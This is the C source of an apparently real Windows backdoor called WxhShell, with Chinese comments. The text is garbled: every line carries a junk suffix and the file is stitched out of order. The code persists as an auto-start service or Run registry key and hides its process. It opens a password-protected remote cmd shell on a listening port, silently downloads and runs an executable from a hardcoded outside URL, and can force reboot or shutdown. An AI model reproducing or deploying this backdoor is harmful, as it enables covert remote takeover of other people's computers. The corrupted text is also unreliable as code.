    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y$M%2mh`  
    else { =:U`k0rn!  
    closesocket(wsh); 0#gK6o!  
    ExitThread(0); :7;@ZEe  
    } H3oFORh  
    break; P16~Qj  
    } VuZr:-K/  
  // 获取shell -yNlyHv9  
  case 's': { Z0r'S]fe  
    CmdShell(wsh); #~=Ry H  
    closesocket(wsh); \a3+rN dj  
    ExitThread(0); j.= 1rwPt  
    break; <9b &<K:  
  } es0hm2HT3  
  // 退出 sV*H`N')S  
  case 'x': { wVtwx0|1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ChQx a  
    CloseIt(wsh); Lu%b9Jk  
    break; G=bCNn<  
    } [()koU#w.  
  // 离开 7F.4Ga;  
  case 'q': { % A0/1{(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ql~J8G9  
    closesocket(wsh); u_Z+;{]Pj  
    WSACleanup(); e&>2 n  
    exit(1); `\ol,B_l  
    break; i,VMd  
        } O^rDHFj,  
  } b| (: [nB  
  } |JsZJ9W+J  
_,*r_D61S  
  // 提示信息 KqP#6^ _  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  4Wp=y  
} ;mi%F3  
  } bcz:q/f}@  
9: lFo=  
  return; -trkA'ewZ  
} F((4U"   
0<*<$U  
// shell模块句柄 Vi|#@tC'  
int CmdShell(SOCKET sock) ?Z}&EH  
{ EKN~H$.  
STARTUPINFO si; j5h-dK  
ZeroMemory(&si,sizeof(si)); uHNCSz H(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #[[ en  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tO&^>&;5  
PROCESS_INFORMATION ProcessInfo; N6TH}~62}  
char cmdline[]="cmd"; /g.U&oI]D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ksm~<;td  
  return 0; ,`sv1xwd  
} I( Mm?9F  
K@%].:  
// 自身启动模式 z{r}~{{E  
int StartFromService(void) HK% 7g  
{ Pc]HP  
typedef struct ^=*;X;7  
{ ]I6  J7A[  
  DWORD ExitStatus; 0tJ Z4(0  
  DWORD PebBaseAddress; _tycgq#  
  DWORD AffinityMask; BFt> 9x]T  
  DWORD BasePriority; o#N+Y?O  
  ULONG UniqueProcessId; @'|~v <<WZ  
  ULONG InheritedFromUniqueProcessId; 6wg^FD_Q  
}   PROCESS_BASIC_INFORMATION; f?)-}\[IR{  
@E8+C8'  
PROCNTQSIP NtQueryInformationProcess; >.D4co>  
u]G\H!Wk Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H%{+QwzZ[j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2>59q$ |  
JsS-n'gF'  
  HANDLE             hProcess; ^kSqsT"  
  PROCESS_BASIC_INFORMATION pbi; 0IWf!Sk ]  
BL4-7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _WbxH  
  if(NULL == hInst ) return 0; |V7*l1  
4b`=>X;W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .eC1qWZJpd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8l">cVo]T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [.}oyz; }N  
;O #>Y  
  if (!NtQueryInformationProcess) return 0; q0 \6F^;M  
Zgb!E]V[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N)Z?Z+ }h  
  if(!hProcess) return 0; L4l!96]a  
#|``ca54B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ht&Y C<X  
wS3'?PRX  
  CloseHandle(hProcess); a09<!0Rp  
9Gz=lc[!7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >5SSQ\2~a  
if(hProcess==NULL) return 0; lUMdrt0@z  
q75s#[<ap  
HMODULE hMod; Yoll?_k+  
char procName[255]; x$(f7?s] 1  
unsigned long cbNeeded; 8a"%0d#  
xe$_aBU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ft Wv~Eh  
n._-! WI  
  CloseHandle(hProcess); N4HqLh23H  
?Ss!e$jf  
if(strstr(procName,"services")) return 1; // 以服务启动 ]J]h#ZHx  
PmM3]xVzd  
  return 0; // 注册表启动 2b8L\$1q  
} QSf|nNT  
+qdEq_ m  
// 主模块 3T0"" !Q  
int StartWxhshell(LPSTR lpCmdLine) j_ 7mNIr  
{ t.C5+^+%  
  SOCKET wsl; < FAheE+  
BOOL val=TRUE; {+b7sA3  
  int port=0; p{dj~ &v  
  struct sockaddr_in door; /z$ u]X  
,"79P/C  
  if(wscfg.ws_autoins) Install(); XRQ4\bMA8  
1yY0dOoLG)  
port=atoi(lpCmdLine); S`Rs82>  
5Jnlz@P9  
if(port<=0) port=wscfg.ws_port; E&:,oG2M  
<ZR9GlIr  
  WSADATA data; J<lO= +mg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oe~b}:  
f(7GX3?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~flV`wy$$1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fv`,3aNB  
  door.sin_family = AF_INET; sW8dPw O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iDrZc  
  door.sin_port = htons(port); Rbv;?'O$L  
;YL i{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?!/kZM_ts  
closesocket(wsl); %vi83%$'4  
return 1; seeB S/%  
} ~4cC/"q$X  
{H'Y `+  
  if(listen(wsl,2) == INVALID_SOCKET) { 0+b1vhQ  
closesocket(wsl); FHI ;)wn=  
return 1; ,5<Cd,`*  
} .(2ik5A%9  
  Wxhshell(wsl); 3"\lu?-E  
  WSACleanup(); Pj% |\kbNs  
|#N&akC  
return 0; \Y}8S/]  
mpJ#:}n  
} Wo=jskBrQ  
`Ryp% Bn  
// 以NT服务方式启动 <1M-Ro?5k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;t`&n['N>  
{ z*)T %p  
DWORD   status = 0; "g8M0[7e3  
  DWORD   specificError = 0xfffffff; X!g#T9kG  
L_iFt!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7. ;3e@s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y"wShAR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -z(+//K:#  
  serviceStatus.dwWin32ExitCode     = 0; )w%!{hn  
  serviceStatus.dwServiceSpecificExitCode = 0; ;sFF+^~L  
  serviceStatus.dwCheckPoint       = 0; S|+o-[e8O  
  serviceStatus.dwWaitHint       = 0; c~ V*:$F  
$PHvA6D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .#pU=v#/[  
  if (hServiceStatusHandle==0) return; UW EV^ &"x  
Thit  
status = GetLastError(); VY\&8n}e(  
  if (status!=NO_ERROR) SasJic2M  
{ R{T$[$6S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UFuX@Lu0  
    serviceStatus.dwCheckPoint       = 0; $iz|\m  
    serviceStatus.dwWaitHint       = 0; 4+ Z]3oIRE  
    serviceStatus.dwWin32ExitCode     = status; Yg1  X  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7D5]G-}x.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H<N,%G  
    return; i K? w6  
  } b;UJ 88  
cYt!n5w~W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N]sAji*  
  serviceStatus.dwCheckPoint       = 0; ?FcAXA/J{  
  serviceStatus.dwWaitHint       = 0; *;*r 8[U}q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); um0N)&iY  
} P";'jVcR  
wD)XjX  
// 处理NT服务事件,比如:启动、停止 ~e@z;]CiY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TRq6NB  
{ yz8jw:d^-  
switch(fdwControl) ')3 bl3:  
{ gB'6`'  
case SERVICE_CONTROL_STOP: Q'0d~6n&{  
  serviceStatus.dwWin32ExitCode = 0; 6NHX2Ja  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; | %Vh`HT  
  serviceStatus.dwCheckPoint   = 0; XOS[No~  
  serviceStatus.dwWaitHint     = 0; kZ3ThIk%  
  { ,nm*q#R,0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <UQbt N-B\  
  } '."ed%=MC  
  return; 3$9W%3  
case SERVICE_CONTROL_PAUSE: w+CA1q<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n7-6- #  
  break; /I0%Z+`=  
case SERVICE_CONTROL_CONTINUE: 3:i@II  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :20W\P<O!A  
  break; e^D]EA ]%  
case SERVICE_CONTROL_INTERROGATE: FJP-y5  
  break; ~R92cH>L  
}; 0:Ol7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )I.$=s  
} B0]~el  
6,{$J  
// 标准应用程序主函数 Q$Q([Au  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,DkNLE  
{ 6~w@PRy  
JcxThZP~  
// 获取操作系统版本 #O dJ"1A|  
OsIsNt=GetOsVer(); *bA.zmzM  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  ZExlGC  
TbW38\>.R  
  // 从命令行安装 jtc]>]6i  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^ (zYzd  
W9GVt$T7  
  // 下载执行文件 !d0kV,F:  
if(wscfg.ws_downexe) { 7O-x<P;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D!IY&H,wo  
  WinExec(wscfg.ws_filenam,SW_HIDE); _"rgET`vW  
} Z>5b;8  
[3|P7?W/  
if(!OsIsNt) { 03#lX(MB  
// 如果时win9x,隐藏进程并且设置为注册表启动 ut7zVp<"  
HideProc(); [K0(RDV)%  
StartWxhshell(lpCmdLine); ]3.;PWa:  
} x+@rg];m  
else N5b!.B x-w  
  if(StartFromService()) 'AH0ww_)n  
  // 以服务方式启动 DN57p!z  
  StartServiceCtrlDispatcher(DispatchTable); o:Sa, !DK  
else Fy-t T]Q9  
  // 普通方式启动 wEvVL  
  StartWxhshell(lpCmdLine); Qn)a/w-  
b B3powy9  
return 0; y/ ef>ZZ  
} Gu\q%'I  
!." D]i;  
;@Y;g(bw:  
338k?nHxv  
=========================================== U#WF ;q0L  
p4 ^yVa  
n]o<S+z  
vT,AMja  
q6V>zi  
VQ9/Gxdeo  
" ) ahA[  
Fyatd  
#include <stdio.h> sN01rtB(UT  
#include <string.h> 6zuTQ^pz  
#include <windows.h> ou{2@"  
#include <winsock2.h> % ^1V4  
#include <winsvc.h> D7Q$R:6|  
#include <urlmon.h> [j/9neaye  
]K,Tnyp  
#pragma comment (lib, "Ws2_32.lib") z/@slT  
#pragma comment (lib, "urlmon.lib") Od,qbU4O  
9N 3o-=  
#define MAX_USER   100 // 最大客户端连接数 p]2128kqx  
#define BUF_SOCK   200 // sock buffer >V8-i`  
#define KEY_BUFF   255 // 输入 buffer )cMh0SGcM1  
fN1-d&T  
#define REBOOT     0   // 重启 SbrecZ  
#define SHUTDOWN   1   // 关机 )W _v:?A9  
h^(* Tv-!  
#define DEF_PORT   5000 // 监听端口 dn$!&  
,uhb~N<  
#define REG_LEN     16   // 注册表键长度 EaY?aAuS:  
#define SVC_LEN     80   // NT服务名长度 U$D65B4=  
N]=q|D  
// 从dll定义API 8\A#CQ5b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sp]0c[37R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eiaFaYe\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XW)lDiJl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o~y;j75{.*  
 < !C)x  
// wxhshell配置信息 ['tY4$L(  
struct WSCFG { SP_75BJ  
  int ws_port;         // 监听端口 R=2FNP  
  char ws_passstr[REG_LEN]; // 口令 6H WE~`ok6  
  int ws_autoins;       // 安装标记, 1=yes 0=no `% "\@<  
  char ws_regname[REG_LEN]; // 注册表键名 i#Bf"W{F  
  char ws_svcname[REG_LEN]; // 服务名 `%9 uE(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ShP^A"Do  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u.m[u)HQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tGE$z]1c@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9`X\6s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hT&Y#fh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9Uekvs=r=M  
2*l/3VW  
}; bUdLs.:  
,K"U> &  
// default Wxhshell configuration ]dmrkZz:  
struct WSCFG wscfg={DEF_PORT, &d?CCb$|0Y  
    "xuhuanlingzhe", }?_?V&K|  
    1, 4-y :/8  
    "Wxhshell", By",rD- r  
    "Wxhshell", :v&$o'Sak  
            "WxhShell Service", SBk4_J/_  
    "Wrsky Windows CmdShell Service", u$Jz~:=,  
    "Please Input Your Password: ", .|>3k'<l  
  1, ep)n_!$OH"  
  "http://www.wrsky.com/wxhshell.exe", `V)8 QRN(  
  "Wxhshell.exe" +`3)oPV)  
    }; ' ;FnIZ  
|tMWCA  
// 消息定义模块 E`usknf>l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hc$O{]sq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a;qryUyG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =M [bnq*\  
char *msg_ws_ext="\n\rExit."; lc1(t:"[  
char *msg_ws_end="\n\rQuit."; jTtu0Q|  
char *msg_ws_boot="\n\rReboot..."; .*S#aq4S  
char *msg_ws_poff="\n\rShutdown..."; b;W3j   
char *msg_ws_down="\n\rSave to "; &4x}ppX  
0#s"e}@v  
char *msg_ws_err="\n\rErr!"; )|R)Q6UJ  
char *msg_ws_ok="\n\rOK!"; t[;LD_  
5o'FS{6U  
char ExeFile[MAX_PATH]; U!?_W=?  
int nUser = 0; dI@(<R  
HANDLE handles[MAX_USER]; {14fA)`%  
int OsIsNt; l<LP&  
{ VfXsI  
SERVICE_STATUS       serviceStatus; r|fL&dtr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zd}9O jz5  
RSyUaA  
// 函数声明 y@:h4u"3  
int Install(void); 0oZ= yh  
int Uninstall(void); O1U=X:Zl  
int DownloadFile(char *sURL, SOCKET wsh); oAJM]%g{  
int Boot(int flag); ):68%,  
void HideProc(void); M2>Vj/  
int GetOsVer(void);  +yH7v5W  
int Wxhshell(SOCKET wsl); ,,&* :<Q  
void TalkWithClient(void *cs); kYqU9cB~  
int CmdShell(SOCKET sock); 6azGhxh  
int StartFromService(void); n,V[eW#m'L  
int StartWxhshell(LPSTR lpCmdLine); p{ Yv3dNl  
F^t DL:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vvn2 Ep  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2~1SQ.Q<RY  
Is)u }  
// 数据结构和表定义 m '|b GV  
SERVICE_TABLE_ENTRY DispatchTable[] = oWim}Er=  
{ FxtQXu-g  
{wscfg.ws_svcname, NTServiceMain}, F|o:W75  
{NULL, NULL} j_!F*yul  
}; 7{)G_?Q&  
9Zt`u,;  
// 自我安装 NMa}{*sQ  
int Install(void) :I j{s  
{ g1/[eoZzk  
  char svExeFile[MAX_PATH]; tqvN0vY5  
  HKEY key; D9 CaFu  
  strcpy(svExeFile,ExeFile); 7$vYo _  
\FbvHr,  
// 如果是win9x系统,修改注册表设为自启动 EyD=q! ZVZ  
if(!OsIsNt) { q77;ZPfs8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /ivJsPH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pmr5S4Ka  
  RegCloseKey(key); 6S'yZQ |b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8>2.UrC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j9x<Y]  
  RegCloseKey(key); fcRxp{*zO  
  return 0; 'RQ+g}|Ba!  
    } [LjT*bi  
  } L%*!`TN  
} hYT0l$Ng  
else { szZr4y<8|1  
e#L8X {f  
// 如果是NT以上系统,安装为系统服务 SIF/-{i(X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [fya)}  
if (schSCManager!=0) @Q ]=\N:  
{ yYIf5S`V]  
  SC_HANDLE schService = CreateService L3u&/Tn2  
  ( LEbB(x;@  
  schSCManager, BOb">6C  
  wscfg.ws_svcname, JgKO|VO  
  wscfg.ws_svcdisp, axv>6k  
  SERVICE_ALL_ACCESS, ENl)Ts`y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }{K) 4M  
  SERVICE_AUTO_START, W7R<%?  
  SERVICE_ERROR_NORMAL, UN;H+gNnN  
  svExeFile, 0U(@= 7V  
  NULL, {3>$[bT  
  NULL, fn jPSts0  
  NULL, F 5bj=mI  
  NULL, n71r_S*  
  NULL gq4Tb c oA  
  ); \%JgH=@ :=  
  if (schService!=0) M)J5;^["  
  { NR 5gj-B[  
  CloseServiceHandle(schService); =1FRFZI!j  
  CloseServiceHandle(schSCManager); o lR?n(v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q 6:dy  
  strcat(svExeFile,wscfg.ws_svcname); Uu10)/.LC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UAkT*'cB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !=*g@mgF  
  RegCloseKey(key); sQ UM~HD\a  
  return 0; ="1Ind@w!  
    } GfxZ'VIn  
  } fa jGZyd0:  
  CloseServiceHandle(schSCManager); :KSV4>X[%a  
} X:f UI4  
} h0*!;Z7  
u:6Ic)7'  
return 1; 59LZv-l  
} )al]*[lY  
VZp5)-!\  
// 自我卸载 !_]Y~[  
int Uninstall(void) O@T9x$  
{ [N-Di"  
  HKEY key; e&|'I"  
@ wGPqg  
if(!OsIsNt) { SB;&GHq"n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .9/ hHCp  
  RegDeleteValue(key,wscfg.ws_regname); ;V:i!u u  
  RegCloseKey(key); &&5aM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )!th7sH  
  RegDeleteValue(key,wscfg.ws_regname); 0cv{  
  RegCloseKey(key); g+8OekzB5  
  return 0; /QK6Rac-  
  } uanhr)Ys  
} 8l>?Pv  
} 6 C1#/  
else { J|W<;  
1jmjg~W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); px A?  
if (schSCManager!=0) A9KET$i@v  
{ .Yamc#A-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m<<+  
  if (schService!=0) ?(@ 7r_j  
  { 6+:iy'-  
  if(DeleteService(schService)!=0) { ~dyTVJ$  
  CloseServiceHandle(schService); a kkNI3  
  CloseServiceHandle(schSCManager); |0&IXOW"XF  
  return 0; v^sv<4*%  
  } paA(C|%{  
  CloseServiceHandle(schService); +C^nO=[E  
  } _>o:R$ %}  
  CloseServiceHandle(schSCManager); l] K3Y\#bP  
} {X!r8i  
} =}<IfNA  
 g T6z9  
return 1; k90YV(  
} $H2u.U<ip  
*l(7D(#  
// 从指定url下载文件 WJ]T\DI  
int DownloadFile(char *sURL, SOCKET wsh) *[Imn\hu  
{ H9Gh>u]}  
  HRESULT hr; R)?*N@.s  
char seps[]= "/"; 0gu_yg!R  
char *token; 77 Q5d"sIi  
char *file; /m!BY}4W  
char myURL[MAX_PATH]; `_6C {<O  
char myFILE[MAX_PATH]; H-!,yte  
8 v6(qBK  
strcpy(myURL,sURL); 6lZ3tdyNo  
  token=strtok(myURL,seps); v1#otrf  
  while(token!=NULL) (fhb0i-  
  { 4V"E8rUL(  
    file=token; CmWeY$Jb  
  token=strtok(NULL,seps); j}#w )M  
  } [DYQ"A= )d  
Ky`qskvu  
GetCurrentDirectory(MAX_PATH,myFILE); _kC-dEGf!y  
strcat(myFILE, "\\"); i9:C4',sw0  
strcat(myFILE, file); !K#qeY}  
  send(wsh,myFILE,strlen(myFILE),0); a)!o @  
send(wsh,"...",3,0); b35fs]}u-6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xEa\f[.An  
  if(hr==S_OK) i:dR\|B  
return 0; f'F?MINJP  
else Q*GN`07@?d  
return 1; nF}vw |r>x  
%J}xg^+f  
} *j|~$e}C  
3h]g}&k  
// 系统电源模块 Do9x XK  
int Boot(int flag) M.JA.I@XC  
{ `T1  
  HANDLE hToken; 6u?>M9  
  TOKEN_PRIVILEGES tkp; E[OJ+ ;c  
gZVc 5u<  
  if(OsIsNt) { &L3M]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "6A ` q\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U%-A?5  
    tkp.PrivilegeCount = 1; #j;^\rSv-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IM*y|UHt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g/4[N{Xf  
if(flag==REBOOT) { %q"%AauJR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D2 #ZpFp"h  
  return 0; V(}:=eK  
} oE6tauQn  
else { zxEL+P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7o\@>rNWP  
  return 0; y4yhF8E>;U  
} ^ "E^zHM(  
  } UB@Rs|)  
  else { ip\sXVR  
if(flag==REBOOT) { z>xmRs   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rD tY[  
  return 0; K&u_R  
} 1pVS&0W  
else { .C%<P"=J4h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D#aDv0b  
  return 0; b\f O8{k  
} #x@$ lc=k3  
} oueC  
7Y lchmd  
return 1; WH%g(6w1j  
} cs48*+m  
_r#Z}HK  
// win9x进程隐藏模块 ZT*ydln  
void HideProc(void) '(6z. toQ  
{ %64 )(z  
`K"L /I9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v4<nI;Ux  
  if ( hKernel != NULL ) \Dm";Ay>  
  { @ 6\I~s(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q)#B0NA;T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SZ7:u895E  
    FreeLibrary(hKernel); ?9vuuIE  
  } m<G,[Yc  
Lpkyoh v  
return; `b&%Hm  
} wKh4|Ka  
N>uRf0E>  
// 获取操作系统版本 O *C;Vqt  
int GetOsVer(void) goNG' o %|  
{ _ >?\DgjH  
  OSVERSIONINFO winfo; 8qoMo7-f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %X]jaX 7  
  GetVersionEx(&winfo); thh. A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R>|{N9  
  return 1; Ng&%o  
  else - nm"of\o  
  return 0; 2YL?,uLS  
} +bxYG D  
299H$$WS,Z  
// 客户端句柄模块 g @Z))M+  
int Wxhshell(SOCKET wsl) b1q"!+8y  
{ j8i[ONq^  
  SOCKET wsh; >IafUy  
  struct sockaddr_in client; te`$%NRl  
  DWORD myID; W ~<^L\Lu  
y8y5*e~A-)  
  while(nUser<MAX_USER) 1dY}\Sp  
{ K`eCDvlH  
  int nSize=sizeof(client); %fZJRu 1b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ';Ea?ID  
  if(wsh==INVALID_SOCKET) return 1; UBKu /@[f@  
n6=By|jRh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D>r&}6<  
if(handles[nUser]==0) &A/]pi-\  
  closesocket(wsh); <\ y@*fg+  
else ,]C;sN%~}  
  nUser++; nbp=PzZy  
  } "V7K SO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @&!ZZ 1V8  
;<Sd~M4f  
  return 0; 8$cLG*=h4  
} CZe ]kXNv  
;1W6G=m  
// 关闭 socket <V'@ks%  
void CloseIt(SOCKET wsh) L- iy  
{ }v;V=%N+v  
closesocket(wsh); %QH$ipM  
nUser--; _{O>v\u  
ExitThread(0); 3Aip}<1  
} *"2+B&Y  
sjTZF-  
// 客户端请求句柄 S>+|OCl";  
void TalkWithClient(void *cs) hNiE\x  
{ ^#-l q)  
@s>Czm5  
  SOCKET wsh=(SOCKET)cs;  N];NAMp  
  char pwd[SVC_LEN]; FZ QP%]FX  
  char cmd[KEY_BUFF]; r r %V.r;2  
char chr[1]; G>_*djUf  
int i,j; 2szPAuN+  
lBE= (A`  
  while (nUser < MAX_USER) {  7Die FZ?  
eIF5ZPSZi  
if(wscfg.ws_passstr) { ?,Xw[pR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); je-!4r,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y1D L,%j  
  //ZeroMemory(pwd,KEY_BUFF); B IEO,W|  
      i=0; +480 l}  
  while(i<SVC_LEN) { ,pfG  
%Xg4b6<9  
  // 设置超时 R{4^t97wH{  
  fd_set FdRead; #Pau\|e_  
  struct timeval TimeOut; uc{Ihw  
  FD_ZERO(&FdRead); g/_5unI}u  
  FD_SET(wsh,&FdRead); ~At7 +F[  
  TimeOut.tv_sec=8; XW H5d-  
  TimeOut.tv_usec=0; QZwNw;$k*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hag$GX'2k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c ]-<vkpV  
Ny7S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o[4}h:> dq  
  pwd=chr[0]; l4YbKnp]  
  if(chr[0]==0xd || chr[0]==0xa) { c]<5zyl"j1  
  pwd=0; 0o4XUW   
  break; k'Hs}zeNn  
  } &B;~  
  i++; p>N(Typ0b  
    } *R,5h2;  
`hm-.@f,9  
  // 如果是非法用户,关闭 socket ?<,l3pwqa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A2FYBM`Q&D  
} qwcD`HV,  
\K{ z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iMh#TUlQEQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tjS@meT  
i"FtcP^  
while(1) { zk+9'r`-D  
P;no?  
  ZeroMemory(cmd,KEY_BUFF); B@))8.h]  
2.y-48Nz  
      // 自动支持客户端 telnet标准   iVr JQ  
  j=0; bWS&Yk(  
  while(j<KEY_BUFF) { J{<X 7uB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CxmKz78  
  cmd[j]=chr[0]; :Ov6_x]*  
  if(chr[0]==0xa || chr[0]==0xd) { z6P$pqyF  
  cmd[j]=0; *a^(vo   
  break; B mb0cF Q  
  } "{xrL4BtC  
  j++; m7V/zne  
    } w.o@7|B1N  
W i.& e  
  // 下载文件 VGN5<?PrN  
  if(strstr(cmd,"http://")) { >6-`}G+|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `RW HN/U  
  if(DownloadFile(cmd,wsh)) Uc>lGo1j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z\rwO>3  
  else 4"ZP 'I;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rv>-4@fMJ  
  } Ne!lH@ql  
  else { KF}hV9IU  
Dy&i&5E.-l  
